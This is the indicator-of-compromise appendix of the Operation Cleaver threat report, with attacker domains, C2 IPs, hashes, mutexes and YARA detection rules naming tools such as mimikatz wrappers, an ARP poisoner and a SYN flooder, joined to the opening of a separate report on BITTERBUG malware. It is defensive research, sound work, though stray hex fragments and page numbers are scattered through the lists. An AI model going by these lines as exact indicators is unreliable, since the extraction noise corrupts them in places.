infamous logo used by the Army of the Guardians of the Islamic Revolution, also known in the
west as the Iranian Revolutionary Guard Corps (IRGC).
Due to the close connection between the
members tracked in this report and the IRGC, it was only fitting to replicate the look and feel of the
IRGC’s iconography as the anchor for this document’s branding.
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Army of the Guardians of the                                    Operation Cleaver
Islamic Republic (IRGC)
Several of the visual elements present in the IRGC
The striking visual elements that make up the logo       logo have been carried over to the Operation Cleaver
of the IRGC have very specific meanings:                 logo including:
•	   The clenched fist holding a rifle, most likely an   •	   A clenched fist, this time holding a cleaver,
AK-47, represents armed resistance.
represents the group’s likely connection with the
•	   The globe symbolizes the IRGC’s worldwide                IRGC as well as armed resistence in general.
ambitions.
•	   The globe in the background represents
•	   The book, from which the clenched first                  Operation Cleaver’s worldwide reach.
emanates, represents the Qur’an, connecting         •	   An ethernet cable connected to the clenched first
the religious ideals on which the group was              represents the nature of these attacks (cyber as
founded to the armed struggle.
opposed to traditional warfare).
•	   The plants, possibly wheat, represent               •	   The hex string translates to “Think Evil, Do Good”,
prosperity.
a mantra our research team lives by.
•	   The name of the group in Persian, the year in
which it was founded and a passage from the
Qur’an (8:60) ‘And make ready against them all
you can of power’, are represented in text.
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APPENDIX A:
INDICATORS OF COMPROMISE
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Indicators of Compromise (IOC)
This Appendix details the IOCs discovered in the investigation of Operation Cleaver.
CylancePROTECT prevents the malware used in Operation Cleaver from ever executing.
Domains
doosan-job(dot)com
downloadsservers(dot)com
drivercenterupdate(dot)com
easyresumecreatorpro(dot)com
googleproductupdate(dot)com
googleproductupdate(dot)net
kundenpflege.menrad(dot)de
microsoftactiveservices(dot)com
microsoftmiddleast(dot)com
microsoftonlineupdates(dot)com
microsoftserverupdate(dot)com
microsoftupdateserver(dot)net
microsoftwindowsresources(dot)com
microsoftwindowsupdate(dot)net
northropgrumman(dot)net
teledyne-jobs(dot)com
windowscentralupdate(dot)com
windowssecurityupdate(dot)com
windowsserverupdate(dot)com
windowsupdateserver(dot)com
www.gesunddurchsjahr(dot)de
Email Addresses Used for Domain Registration
davejsmith200(at)outlook.com                     tarh.andishan(at)yahoo.com
salman.ghazikhani(at)outlook.com                 ahmadi(at)odeconline.com
btr.8624(at)yahoo.com                            kafe0(at)yahoo.com
ghanbarianco(at)gmail.com                        dg_co(at)yahoo.com
azlinux73(at)gmail.com                           zahiry_alireza(at)yahoo.com
domain(at)netafraz.com                           zahiry.alireza(at)gmail.com
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Email Addresses Used for Exfiltration
testmail_00001(at)yahoo.com
TerafficAnalyzer(at)yahoo.com
dyanachear(at)beyondsys.com
IP Addresses
50.23.164.161                    95.211.191.225
64.120.128.154                   95.211.191.247
64.120.208.74                    95.211.241.249
64.120.208.75                    95.211.241.251
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64.120.208.76                    108.175.152.230
64.120.208.78
46f
108.175.153.158
64.120.208.154                4  159.253.144.209
66.96.252.198
78.109.194.114
20   173.192.144.68
174.36.195.158
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80.243.182.149                   184.82.158.18
87.98.167.71                     184.82.181.48
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87.98.167.85                     188.227.180.213
87.98.167.141                    192.111.145.197
88.150.214.162                   203.150.224.249
88.150.214.166                   207.182.142.68
88.150.214.168                   212.87.154.12
88.150.214.170                   212.87.154.14
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Mutexes
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ZSC1                           86
Adobe Report Service
Bmgr
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Dynamic Mutexes
These mutexes are used with the process ID of the malware as a suffix:
demdaramdidam
ILoveThisMutex
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Installed Services Names
COM+ System Extentions
COM__System_Extentions
Network Connectivity Manager
Service1
MsNetMonitor
Pcapins
scManagerSvc
CredentialSync
Adobe Report Service
Samples (MD5)
Listed below are both the MD5 and SHA-256 hashes for samples related to Operation Cleaver.
01606d42c64e4d15ea07d4e1fbd0c40d
0405adfc8739025ba88c746c8edebfb8
04fdf5b757764af8bc7ef88e0f8fe8c1
0512c5a8807e4fdeb662e61d81cd1645
0593352cadb2789c19c2660e02b2648b
08eabb6164b1b12307931e4f2d95f7c6
0900c3319e4c46ff9478e3e1fa9528a1
0acd8945bd162e5e7aa982cddbd8ecaa
0ad6a01a916f14fc24fa43e46813b3bb
0b2cbfa07fa9a090b35a3dfdb0ebad9d
0b80a8d2c56789b4bda9a56a53e7e2b1
0f4b526d8edf1d3d32c81a692c325733
10d019932fc43e9b39be709f8281203d
1223e93dd4a5ad0536c8232936cb35fe
144064951cceaf1bb81e8f215de76101
14a80287490f3a68d99c0f518b246fd2
17d1f25185b31044eb89a99d50d36a26
18942a44d2b5f2bbf54e2c18ac293915
18efd3f66d23c5c555e128a19de63667
19d9b37d3acf3468887a4d41bf70e9aa
1c2bc564805695dbb3a26d9c9f7dffea
1c7e40443e36c4b7592617f0a271835d
1d8fd8c357907a79f3e6d9f831f2bd7d
21829130d5e2a69b0f6963c68b070127
2e36a3f3b888c1fd3c3aa3f1ba7969ad
30120cf30ea4d870635893cd75338f97
304f7f17031af90012d4e4d1cc5cfb8a
336b501bd96e309f93c8d12960634248
38998ff6f9a3874b6943d7ac837d19c3
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Samples (MD5) cont.
3b6260ead85b4f0d706203e062a34a21
41eeae4158152f49ab64601c4358a7a1
42714874f86fa9bd97e9be460d7d72c0
42e459d1d057bd937e0d00958e591f08
48dd515e2b148493cf47b0c0c5713573
491f031d0a9ad4919cb29cb2d9a9a65c
4e483762f555b078976a1ddf3fc3e532
53230e7d5739091a6eb51298a50eb616
537b42d3cd9812e5b583131b83a48508
53841511791e4cac6f0768a9eb5def8a
54def27d598b75f297a8cf2c97150997
5837ad676f6c0f0f4f48096648d6e81b
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5a4046fd0825641766b197a2132d2410
44
5e5d6469b270aa60dc90ddfde32ba082
5eef1ee37714c9ee07653419890010d6
20
6061410c04b9fa9e47593611a02ff2dd
6094f64d54575a2d5a3fbd2d23c4f44e
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61896424e995476b23f73a5c1c34af5e
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61e307a651a7bbce78eb48c1d395501a
636c2d2855ac8a8693c4ef9e89c67205
641fc6831d8c215e9645cf5d4a8be5e5
68cfc418c72b58b770bdccf19805703e
69d80a27ab0c85ef073badbee7ec55c7
69f9705ecdcc709506f7665ad373c1a0
6cd5f1982693f2ce21effddf18f5baf5
2
6d4d21258eef96979ce6f2417c6c019f
b
6ef950941d114c09af359402620d7cba
6
735cdf3a3e9c06d88de31112782ef831
e
736aab6c731d098931d6a4bf11a8150e
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758f2557922e360bff3d1565e6871ea1
6
765f3db4421bdf8bb953dffe37398453
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78a63bc8433cea162e31a5865d5817c9
836ef6b06c5fd52ecc910a3e3408004a
84384d77ac9835720375943235d33a87
855239a2434a3bc78751d9ba9cfac900
8994e16b14cde144a9cebdff685d8676
9376e5b754ccd94f7c66b811d81e240e
948c570269059928517f155b4b6db1a4
94ef4f98b9c321f74778811f64c68d03
96e372dea573714d34e394550059b1d7
9838f7ead2023061eb79587243910daa
985e86ac1854585d2771fd173b63b98b
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Samples (MD5) cont.
9a48bee62c41c0640e9564cc37f718bf
9bcb8091ba414a38bfb7a39eccf3f6bc
9e00a52caec6385e0ab1e21e9794a5b0
9ef9ec11c9f83dde38556feaf88b2a29
9feee6fe54ee4ec859f7bad0d798ac4e
ad94daecadbac8a54e81a69cacc41441
ad99db10c0c12eaea09b39568a761b52
adf77661a409b5a1304d08b62a1264f5
af58d803b2e0b5d0f194c25ff85a8d81
afdfafb2c1e2af1a48e833da8f35bb83
b163fcda16d8fe860a906f768ef27bc8
b2d78ecce135e008adc3e80915f69798
b3d5e1ff7a7ff10cd738b215f92d1ad5
b7ddb09bdc0d0eb39c364d9b9d6436cc
baa76a571329cdc4d7e98c398d80450c
bd9fbbbd7dab62ed6a56d00f21c4c67e
be6273ebd472a2a499a6c1e48ae81112
be741520f13a2bf8bc064a73e146bf08
bfc59f1f442686af73704eff6c0226f0
c1b5464c0506bea6cf778dd18fa456cc
c440ec0a8cf7341b746160a684c51741
c5282f088b90de1ab758424b152d34ac
c91887d861d9bd4a5872249b641bc9f9
cb52f84d462ac67bde53eec40128408c
cbe05db979444589211e830487df7610
d000071a6bf49da390fef8f12aa9e3f8
d84c3d678f269a0c6beb22ed266efac0
de56ca66423fc5e42808445f2b5631d3
de56ca66423fc5e42808445f2b5631d3
de744bcb7c63b035b6c5c3ec0279c3ac
e0f6c5fdde04fbf8cd1a42f75cb06248
e4c9e8f28894e89d6270ad6a4c6cd064
e4e5f1efe44ac06bc3672fd1d8f85630
e5428bcae8b4e84cb5186ad5c83ffc98
e7428dec7deb041692d6575e069c1cf0
e8b1f23616f9d8493e8a1bf0ca0f512a
e8ea10d5cde2e8661e9512fb684c4c98
eac61634da4513a10b596e6c8c299126
eb48c318e8fd9a2a7a18da6578db05d6
f1301bad6da06f436e3a3de0244848e1
f3d80d813dc6a239d921169c57c5789d
fa7c9a78eda0f3bb9ff8ec827d5bc9ff
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Samples (SHA-256)
039ce41fb40a27a46c43bf7ef7d1b08cd5e3f6d71ec08e140cd9166247e783af
0510efd8eae869cd0773a033d5a46d6b7f0162174019e54618887f3085312fcb
064e47074342a6e026de068adaf48c41b2ec2c341c7514768cb7b39425905524
08065f658d65773e583e9ca784148117d87be3a5005a0871cbc4446f42ed5040
0ce968ea8cffb6312f6d17af9044a14f79d6427b9038bcfc6212acb5aa23e74b
0d1f479842cd5bde4f18ab8c85a099da39e13a4051a7c21334e33d55b6f18d76
0fee562cd821f53e864e02b00a59780aed63abca9f7502678fca9bf47b8b12bd
10647c4e7b1b741aeaea9b16d8eb5dae3237ce00dc69f6843790767a277b6204
10cf7a186897243363278cf0283a1687749d9ba43fa713b9f974050f56e97cca
15121b7cbd15143fc0118e06ebe70b7dc1e239b21d865b2c750ed8a0f1f00ef2
1578a4c641f0c7913cdf08267d1a88ac384d586c453b922670be380b7e67a179
1698d8168e860c3377646b12444d38a2e6aebba5a499504a5fc0a73b91d89407
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1756ba79cd63458a50df86203380824ea855c8d6bf1c673e05a13a62f14cd170
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4
1aa25a930e8bae5abbe75907c335c7d1d875b60f72f02855a8d37daadc6b469f
4
20
1efad3bce90ac1d2011ba686f1ab0e435b9a709763fb238dbcad0f44acddccbe
20dddd8651a26161139b49dfabfb3b4b743c57fcc982afc11d1c5c4264a2a8be
c
2a13730f8f16e04cece490eee53bbdcc9bd1e01fbbc2a758562a6462d9473742
c2
2db6f74a8aef9fe86aef5dff3334e8dd252ac45e26b4a12e8641a770bbb08b45
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2e32c6c9179750df7f1ab35536f09c6b09c73faccea7325fe5c79b5087f5dd6f
32aa8f19e452a1471640cd7be72f806e1997fd5a1a2b2743898ee4cd0aed0dc5
37af3f3b3c43690a2e73d4b5edb968896ec4da7b2c21b12a94e146a10f07fef8
39ba1710545fc9e123abbbce61bda1b00525e59346570a3f8c36f7adde5bb47e
3a7ebd7f502fd3f6b3b88693b1123147621b4030c21df9e0690864e8969e149a
3bdbf591fa0d81606929fdf6abe44ba6e185dd8fc0fa62ade8afde48f704d11a
3d18e18ae97045cc3198026ddc681e7d957a25402b79141a3c6fdc18bb879ad6
2
3fa302449da1e4fad81143cc48fc80034cbc41804f00e00ac17bdb7dba0b992d
b
42ca980b7fc7892716a923c7bf3ff6a76ce81f81bd0a83bea40a1735f33b36b8
e6
45a2ea5226c1ce11e8955c99d5b58fd3baa66fb53436be63cb099e96ef30db43
6
48437fe7d7d0c5fbde340e1392662f7fc421fc05d7c9824f71160475105ad999
9
4f131095ba56f6d3621a007985ac758d780b0c837f554f6e44d535ed55d33af1
86
508c7691d535102538aaa6dce32d750c2492dada36506a390c1959f261a0244b
546
50d11ad32eb72b128185a0aecf39be8085b6b1a8f30cb41d8bc177a1ff8f3067
550a33353730579a7d2b9276cc3b66ca252a59e198285c732fcda46513351c03
5ac9f4e25ef4002274496e18ea537b4c582a3acf3126cc1830a63941d9c91e64
5d1e81f5a4fca25b7afb18eb906c9a53965d81dcf62f9d91499baf03229a8de8
5fb4ae33cac8b2b74e63fc639eeb969a660ef9a7e8310c2769acc925122f047e
616a25378f70474bcb3ad0fad2f1383009c5b7b3cea937be2a5234a110d64b78
634685e43e9f73343cb337ec64a8679485e1ddb4c2de5ecb6a5746aa5ddb1b72
6474f74340e7199919e7532c6756cf459cd20c3391852d80b058eb7997a31e9f
650f143ac0a668536b6750a628ec51e7ca28f5520105eeb87308f557cd74e63c
65509837e15b6a914b611c2d5066ba06ded39b0bed288552e65df20610e35976
79
476f6f64
6f20
44
OPERATION
20
2c
b204576696c
CLEAVER
e6
96
86
546
Samples (SHA-256) cont.
65509837e15b6a914b611c2d5066ba06ded39b0bed288552e65df20610e35976
67a2b9c32653161fafaea231b6661d9d797bb0964c79c9ee46cf2bf76571ed45
6888723e56f2e7696ac1e1910f68a1d54d7c76e9eb8e69554980b04e881e0e86
7199acca3d851889efa4a5a42b3f55010f4916294201ce5ad20c76898200ffa9
75b77606175ee696395f1b0e6850d5cd6596e34f74804b30c9bf9e368ebcd299
7890a726603edcd70b6e6f3de367cf891131d833d14c506b26e07935a715048f
79ca080a152bd44f9b07af0f940c303e45e10d516633384f5b3d34a29d0d03c8
7b9fd4b9b36cf84fcbcb3e9bf589d8a51c2166558baf462ab312929fbb584642
80ed4e7a242ee3d1c2656affb04cd56e7262e5a6bf2bec2f8435aa3f47c9b5d1
8129345ce66643d880a3e01e607399279dec7bf9cadc06d9b26134f6d205ed06
8813bd0b4ad6c6155b571c9c1fbcabfeed3812ab8fbd9acd8372385094aaa565
8f02dfd900760cb2c84e4f5a859512f5d719daae063a719c956cbf6185004da5
8f9a45ba73c67ba9c4958ea49508c350a0e1c3caf476ccab2fb8cb3049e3ba46
902f2391b1075e14985bc91316c98cdcf3442ecaeb3ef12422813f946ab8409e
9801f7c552cbcf8c413dade920b96be2eaad9624ba4adaf17f80f815dac58974
9aec3f14ec69e9942a7d3075bb5479dc5fa61e6c2a03cbee1a9269264efac51c
9ba06cb9dcd05e6866ee0e9ecc0c9a480d5b6c8d177ef1907d7fcc02e2871806
9ebbd300ddf70bccbecfe3bf47898e5959cfc090cef8716e2e638d840a24007b
a321158d7f5be572ac5536ad57cb4a312bea52430b03da9dda97f4548a080bc3
aa23c55bed562cbf47c84092d0a35b0da35e3db3982a18a28fb45ca70ac6b399
aa7ac2a053ceba819fcd1c8b273db64296c2754a8101291870e142519c416b1b
abb0ebd57cf2b0d54cd2b01fd9b11ccd9ed68053174d131922811a9ad22459ea
ac272bd9701c5d9cb7e8d1a4e2a191a894e98aa463fb17628c52da16612627d8
ad06e03fdd9eff480ca623ea23ec87c794d99ae6dda308c979fa5173b2b8a514
ad5fbf8e381d92225aa6c022e2bbc175be0e33138b5fa4bbb508b970b33bbc1e
ad71283aadb2455f7a1cd4e8283c789599c33d328da44965f6c282f2e600e1b2
aebac79b820891510b9e14ef97892875bf4197797ca91aef149acdc1e6bf6a7c
af8deedc78097c387926bb95ebd6ab2a870349794f452f35f84132b0dbe12e09
b18f80a02d45eaed618993447c82916ad8802e552dddccf733a3698794d8cb9d
b275caf4cbc4f47b3d772886172438b81a2e11ff5a8683be488de4b219b39070
b42ef5f39aaf6e52ff4e0510b6e5c3fb5c84bf35befcde8bcc18dc86bccbdfb4
b49706b7d5432a368070ee58aa8776cce1ddc2098e863b1b7b36d7b7d79fe6a9
b4d4c421bc70e5a3345d4b8c9d1090ff16ff82870bd38216bb8bac7f1088dafb
b99cddd428e78ede109c7bd3683c374ac6010a15c0633939511e39c1ed99f621
bb2b135c7a9b366ec7090404761a9ee9e7c03c56d68165a6789a29e804104068
be4cc2d1504002107a77bb943ad2d22c205cdcc6ad4804c0440970e5e922d30d
bf7746d29330b666d82b153989d41406305572b92f6b24a1f1adef6374b58328
bfa66edd0d9ae2c8179893ee881f479b37dce0ce8220a8a18e1b42a879ddff4a
c11a244cba9da30173ff1dcb755a377c3b2b1f99cd15a887041937b086113ebd
c1c1e5b43b1ac9af79aafa59a6062468142afc2278b6fea0bb4dbbb83af65d06
80
#OPCLEAVER
Samples (SHA-256) cont.
c30a2fe22050dcac30616a3d27d5c92ea2815d060b365747984913758a209aaa
c74df42cfc7c7221f7f28c67bd726a1caad8453fc35daddfb094aaeede2e8e1e
c9010e060de6a83c3802ed4e6b7f544e6eb2b5420ee2be5c71646e6a27182bea
c901d84878f50a93ab76f2ea31763bebb0acf0c0f9ad86b3abf98e5cde499332
c99fa90038cec60d9aa21a49e537ad9ea55672ed78cf5b429cb4c75ebc5ccd69
c9fc8133e755c14cb02872ba05a2332baefe5e94797479aded46c3db83a7cc14
ca7138bfe08b480386653072482e58f6c48b05a1e7fb8a82cc042806eae9acc2
caa769a21bf97987de4cc92874eaa03e7b0538082c502606aa8ca97823e2e2aa
cd75664edea18e3aa303763e6f6c639b3e90ead4b51c2b3e41c808e3d968c848
cffba2a145d91bdecfa8cb32af6964576889faa04591b503a58507cf89ab7cae
d045ea925cf461da5c58cc2af8a0f96ec7c961ea62ffcf1de0b04abf9b0fa8ac
20476 f64
d11b504b18bc8615e98f3c37d98c6fe11216a0f070a056414ca4407fc298fbd6
6f
d3c2488d321ca6760986fc1a55a3c1db3f7b215fc2883d7e4fabc2871b5a27ac
4
4
d4e54c1bc1efba20d75861c01bb2cc053b1ab9fadae29bf6c4c04528110056e6
20
d5d1fa5b5474089e59c05ca88a96257d4449d852b429c620aa773408bd48d067
d8c7aef47bac024188d929e749e90ac172fd51b8f6e16dec4b6635dc2ffa85ef
c
c2
dc21a2189f9e2d63872c0b5ee7ec75316799c60eb018ba9b98398b69efe45365
dc22e4b5ef752d3ec47d7bb3de7534e4a2daa2642de8c9839ad262d33a7aa7dc
04576696
e180f933aad709883acde441ee64407d49fa4183ae5130480005a0e81a0de491
e250bce96e5f0c162dbe4d87a1a7d65deb910f59c0bea1140897c22eb9dca501
e2e9d60c76225db77668440ff698eacef48b544ffab1ae0c641dcedb5ad570bd
e339c7b77113f1a1c4c2f7e307b785cc4fc9145663fe3a612079240efcc9ac93
e3b38627d9e94a7e084e12cbd2acf7e66ce90021972061f8b9b61316eddb3bd6
e401340020688cdd0f5051b7553815eee6bc04a5a962900883f1b3676bf1de53
e4d43cd20d4ea59f68c26d46c30e1819cac5b9552d27fce826b0855494018267
b2
e509843b2c061fa5e6ea7d11554bb22f36e6b79b7cd5cc0639ff63d48ce66336
6
ed85c3f8d2cccbb6a0ec2b4b27b158b4dbc6885245081901dd51eb2266f4b2bf
e
ee33dd17802ca906fcc68815ff2a7d12ac7fab7f1c272a56444e4fd6715a6227
6
eea0dcabaabef075081e23fc91b84e07042117bb0362e59f11b17338108d0c1b
9
6
f7e1a74e08c5718de9edc57facc26dda97ae5b723420a06ef56f1f6f8aa6fb5a
8
fbc531e83359310e2940ffff180a26e28d55396710c748e2ae7e64357273a09d
546
fd4a9af7ba67f794a83a720539666e89f288686a432b5c7133033a2ebde266cc
Public/Private Key Fingerprints
0A:E1:AE:85:6A:BB:D5:87:BF:8E:21:4E:92:E6:1F:8C
70:70:2F:11:2B:01:03:4A:70:D9:5E:11:CC:E9:7A:16
6F:DB:BB:BA:DA:7F:FA:4B:3F:A1:C3:46:5E:4B:8F:31:E8:31:F1:EC
78:BE:02:06:B3:1E:57:DF:62:4E:30:16:ED:AA:5C:56:F7:E8:11:62
81
476f6f64
6f20
44
OPERATION
20
2c
b204576696c
CLEAVER
e6
96
86
546
YARA Signatures
rule BackDoorLogger
{
strings:
$s1 = “BackDoorLogger”
$s2 = “zhuAddress”
condition:
all of them
}
rule Jasus
{
strings:
$s1 = “pcap_dump_open”
$s2 = “Resolving IPs to poison...”
$s3 = “WARNNING: Gateway IP can not be found”
condition:
all of them
}
rule LoggerModule
{
strings:
$s1 = “%s-%02d%02d%02d%02d%02d.r”
$s2 = “C:\\Users\\%s\\AppData\\Cookies\\”
condition:
all of them
}
rule NetC
{
strings:
$s1 = “NetC.exe” wide
$s2 = “Net Service”
condition:
all of them
}
rule ShellCreator2
{
strings:
$s1 = “ShellCreator2.Properties”
$s2 = “set_IV”
condition:
all of them
}
82
#OPCLEAVER
YARA Signatures (cont.)
rule SmartCopy2
{
strings:
$s1 = “SmartCopy2.Properties”
$s2 = “ZhuFrameWork”
condition:
all of them
}
rule SynFlooder
{
strings:
$s1 = “Unable to resolve [ %s ].
ErrorCode %d”
6f20476 f64
$s2 = “your target’s IP is : %s”
$s3 = “Raw TCP Socket Created successfully.”
condition:
44
20
all of them
}
c
c2
rule TinyZBot
{
04576696
strings:
$s1 = “NetScp” wide
$s2 = “TinyZBot.
Properties.
Resources.resources”
$s3 = “Aoao WaterMark”
$s4 = “Run_a_exe”
$s5 = “netscp.exe”
2
$s6 = “get_MainModule_WebReference_DefaultWS”
b
$s7 = “remove_CheckFileMD5Completed”
6
$s8 = “http://tempuri.org/”
6e
$s9 = “Zhoupin_Cleaver”
9
condition:                  6
8
($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or
$s9)                      546
}
rule ZhoupinExploitCrew
{
strings:
$s1 = “zhoupin exploit crew” nocase
$s2 = “zhopin exploit crew” nocase
condition:
1 of them
}
83
476f6f64
6f20
44
OPERATION
20
2c
b204576696c
CLEAVER
e6
96
86
546
YARA Signatures (cont.)
rule antivirusdetector
{
strings:
$s1 = “getShadyProcess”
$s2 = “getSystemAntiviruses”
$s3 = “AntiVirusDetector”
condition:
all of them
}
rule csext
{
strings:
$s1 = “COM+ System Extentions”
$s2 = “csext.exe”
$s3 = “COM_Extentions_bin”
condition:
all of them
}
rule kagent
{
strings:
$s1 = “kill command is in last machine, going back”
$s2 = “message data length in B64: %d Bytes”
condition:
all of them
}
rule mimikatzWrapper
{
strings:
$s1 = “mimikatzWrapper”
$s2 = “get_mimikatz”
condition:
all of them
}
rule pvz_in
{
strings:
$s1 = “LAST_TIME=00/00/0000:00:00PM$”
$s2 = “if %%ERRORLEVEL%% == 1 GOTO line”
condition:
all of them
}
84
#OPCLEAVER
YARA Signatures (cont.)
rule pvz_out
{
strings:
$s1 = “Network Connectivity Module” wide
$s2 = “OSPPSVC” wide
condition:
all of them
}
rule wndTest
{
strings:
$s1 = “[Alt]” wide
$s2 = “<< %s >>:” wide
6f20476 f64
$s3 = “Content-Disposition: inline; comp=%s; account=%s; product=%d;”
condition:                44
}
all of them
20
c
c2
rule zhCat
04576696
{
strings:
$s1 = “zhCat -l -h -tp 1234”
$s2 = “ABC ( A Big Company )” wide
condition:
all of them
}
rule zhLookUp
2
{
b
strings:
6
$s1 = “zhLookUp.Properties”
e
condition:
96
all of them
}                            86
rule zhmimikatz           546
{
strings:
$s1 = “MimikatzRunner”
$s2 = “zhmimikatz”
condition:
all of them
}
85
476f6f64
6f20
44
OPERATION
20
2c
b204576696c
CLEAVER
e6
96
86
546
6f20476f6f64
044
2
2c
6b204576696c
6e
9
86
546
#OPCLEAVER
86
Operation
Arachnophobia
Caught in the Spider’s Web
Rich Barger | Cyber Squared Inc.
Mike Oppenheim | FireEye Labs
Chris Phillips | FireEye Labs
Contents
Team Introduction....................................................................................................................................................... 1
Key Findings.................................................................................................................................................................. 1
Summary....................................................................................................................................................................... 1
Backstory......................................................................................................................................................................2
VPSNOC/Digital Linx/Tranchulas............................................................................................................................ 4
Technical Observations...............................................................................................................................................8
Conclusion....................................................................................................................................................................11
Appendix A: Malware Details................................................................................................................................... 12
Appendix B: MD5 Hashes and Malware Table........................................................................................................ 17
Appendix C: VPSNOC Email Header Analysis....................................................................................................... 20
Appendix D: Inconsistencies Observed................................................................................................................... 21
Appendix E: VPSNOC & Digital Linx Associations.................................................................................................23
Appendix F: Personas.................................................................................................................................................24
Persona #1................................................................................................................................................................................ 24
Persona #2................................................................................................................................................................................ 27
Appendix G: Tranchulas........................................................................................................................................... 30
Digital Appendix 1: Research Collateral...................................................................................................................32
Digital Appendix 2: Raw Email Communications...................................................................................................33
Digital Appendix 3: Screenshot Archives................................................................................................................34
Digital Appendix 4: Maltego Visualization.............................................................................................................35
i    •     OPERATION ARACHNOPHOBIA
Team Introduction
Cyber Squared Inc.’s ThreatConnect Intelligence Research Team (TCIRT) tracks a number of threat groups around the world.
Beginning in the summer of 2013, TCIRT identified a suspected Pakistani-origin threat group.
This group was revealed by TCIRT
publicly in August 2013.
In the months following the disclosure, we identified new activity.
Cyber Squared partnered with experts
at FireEye Labs to examine these new observations in an attempt to discover new research and insight into the group and its
Operation “Arachnophobia”.
The following report is a product of collaborative research and threat intelligence sharing between
Cyber Squared Inc.’s TCIRT and FireEye Labs.
Key Findings
•	 While we are not conclusively attributing BITTERBUG activity to Tranchulas or a specific Pakistani entity, we can confidently
point to many characteristics of a Pakistan-based cyber exploitation effort that is probably directed against Indian targets and/or
those who are involved in India-Pakistan issues.
•	 The threat actors utilized a hosting provider that is a Pakistani-based company with subleased VPS space within the U.S. for
command and control (C2).
•	 The customized malware (BITTERBUG) used by these threat actors has only been observed hosted on and communicating with
two IP addresses operated by a Pakistan-based hosting provider.
•	 Early variants of the BITTERBUG malware had build paths containing the strings “Tranchulas” and “umairaziz27”.
Tranchulas is the name of a Pakistani security firm; Umair Aziz is the name of a Tranchulas employee.
•	 Following the release of our blog post highlighting this activity and the malware’s build strings, the threat actors appear to have
modified their binary file paths to make them more generic.
•	 Employees at both the Pakistan-based hosting provider and Tranchulas appear within each others’ social networks.
Summary
On August 2, 2013, the TCIRT published the blog “Where There is Smoke, There is Fire: South Asian Cyber Espionage Heats
Up” in which TCIRT identified custom malware, later dubbed BITTERBUG by FireEye, suspected to be linked to Pakistani-based
exploitation activity directed against Indian entities.
We found debug path references to “Tranchulas”, which is also the name
of a Pakistani security company.
Tranchulas claims to support “national level cyber security programs” and the development of
offensive and defensive cyber capabilities.
At the time, the incident seemed to be an isolated one for TCIRT, but it was only the
beginning.
Our suspicions of Tranchulas’ involvement in the activity began to mount, based on a series of events that occurred
both before and after the release of our blog post.
During the past year, we communicated with Tranchulas and the Pakistan-based hosting provider.
Suspicious responses and
oddly similar replies received from both companies to our inquiries, as well as anomalies in their email headers, prompted us to
research the companies further.
Our research revealed:
•	 The C2 hosting provider (VPSNOC) has likely been conducting business operations from within Pakistan, subleasing
infrastructure from U.S. providers.
•	 VPNSOC and Tranchulas employees have maintained some type of undefined relationship given connections via social media.
•	 Both organizations have employed or are affiliated with personnel who have offensive cyber expertise.
•	 When TCIRT was initially contacted by Tranchulas following our original blog post, they denied any involvement in the activity.
Tranchulas maintained that they were being framed, and that they were already aware of the activity prior to both our blog post
and our contact.
However, inconsistencies in their claims and their responses made such a scenario questionable.
1    •    OPERATION ARACHNOPHOBIA
Backstory
TCIRT began tracking a set of activity involving a BITTERBUG variant in May 2013.
To our knowledge this customized malware
has only ever been observed hosted on and communicating with two command and control nodes: 199.91.173.431 and
199.91.173.45.2 3 According to Whois records, those IP addresses were registered to a web-hosting firm in Kansas City,
Missouri.
Based on public records, this organization appears to be a legal entity chartered to conduct business in Missouri.4
On July 24, 2013, TCIRT contacted the Kansas City-based hosting provider to notify them of the malicious activities emanating
from IP address 199.91.173.43.
The hosting provider subsequently introduced5 TCIRT to their client VPNSOC, the customer
responsible for subleasing the IP address.
Later that day, TCIRT received a response6 from support@vpsnoc.com providing
limited information on the server and related traffic (Figure 2).
When TCIRT sent follow-up communications, VPSNOC did not
respond, further increasing our suspicions.
Figure 2: VPSNOC Response
1	       https://www.virustotal.com/en/ip-address/199.91.173.43/information/
2	       https://www.virustotal.com/en/ip-address/199.91.173.45/information/
3	       http://www.shodanhq.com/search?q=93c546-b1-4dbcbc6438380
4	       https://bsd.sos.mo.gov/BusinessEntity/BusinessEntityDetail.aspx?page=beSearch&ID=2936099
5	       Digital Appendix 2: Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500).eml
6	       Digital Appendix 2: Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500).eml
2    •    OPERATION ARACHNOPHOBIA
While reviewing the metadata of VPSNOC’s July 24, 2013 email response, we noticed the email was sent from a +0500 time zone.
This time zone usage is consistent with Pakistan’s time zone.7
The TCIRT published details of the initial activity in the aforementioned blog post on August 2, 2013.
Four days later on August 6,
2013, the Tranchulas Chief Executive Officer, Zubair Khan, contacted us regarding the blog post and its subsequent press coverage.8
Khan submitted “Response_ThreatConnect.docx”9 as an explanation of the observed activity to both the media and the
TCIRT indicating that the debug paths using “Tranchulas” and “umairaziz27” was “done by developer of malware to portray
wrong impression about Tranchulas and mislead malware analysts”.
Notably, Khan included a screenshot of an email message.
The
message was reportedly a response from VPSNOC to an email message from Tranchulas sent on July 21, 2013, purportedly to notify
VPSNOC of the same malicious activity identified by TCIRT.
However, we noted certain anomalies in this message.
Figure 3: Screenshot (image1.png) included within Response_ThreatConnect.docx
As seen in Figure 3 the “email message” 10 was “sent” to VPSNOC from an unidentified tranchulas.com email address on “Tue,
Jul 21, 2013 at 11:36 PM.” July 21, 2013 was not a Tuesday and in fact was a Sunday.
The mismatched date suggests that this
email message was potentially modified in order to support the claim that Tranchulas was aware of, and had already reported the
exploitation activity.
TCIRT speculates that “Tuesday” was hastily chosen because our own official notification to VPSNOC was sent
on Wednesday the 24th.
In addition, the “response” received by Tranchulas is nearly identical to that received by TCIRT.
We believe
that Tranchulas may have obtained information about TCIRT’s notification to VPSNOC through a pre-established relationship.11
7	Digital Appendix 2: Raw Email Communications (Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500.eml) &
(Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500.eml)
8	        http://www.theregister.co.uk/2013/08/07/india_cyberespionage/
9	Digital Appendix 2: Raw Email Communications (Email#3 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up
(Date- Wed, 7 Aug 2013 03-18-57 +0500).eml)
10	       Digital Appendix 1: Research Collateral image1.png (MD5:d224f39f8e20961b776c238731821d16) within Response_ThreatConnect.docx
11	       Appendix F: Personas (Persona #2)
3     •    OPERATION ARACHNOPHOBIA
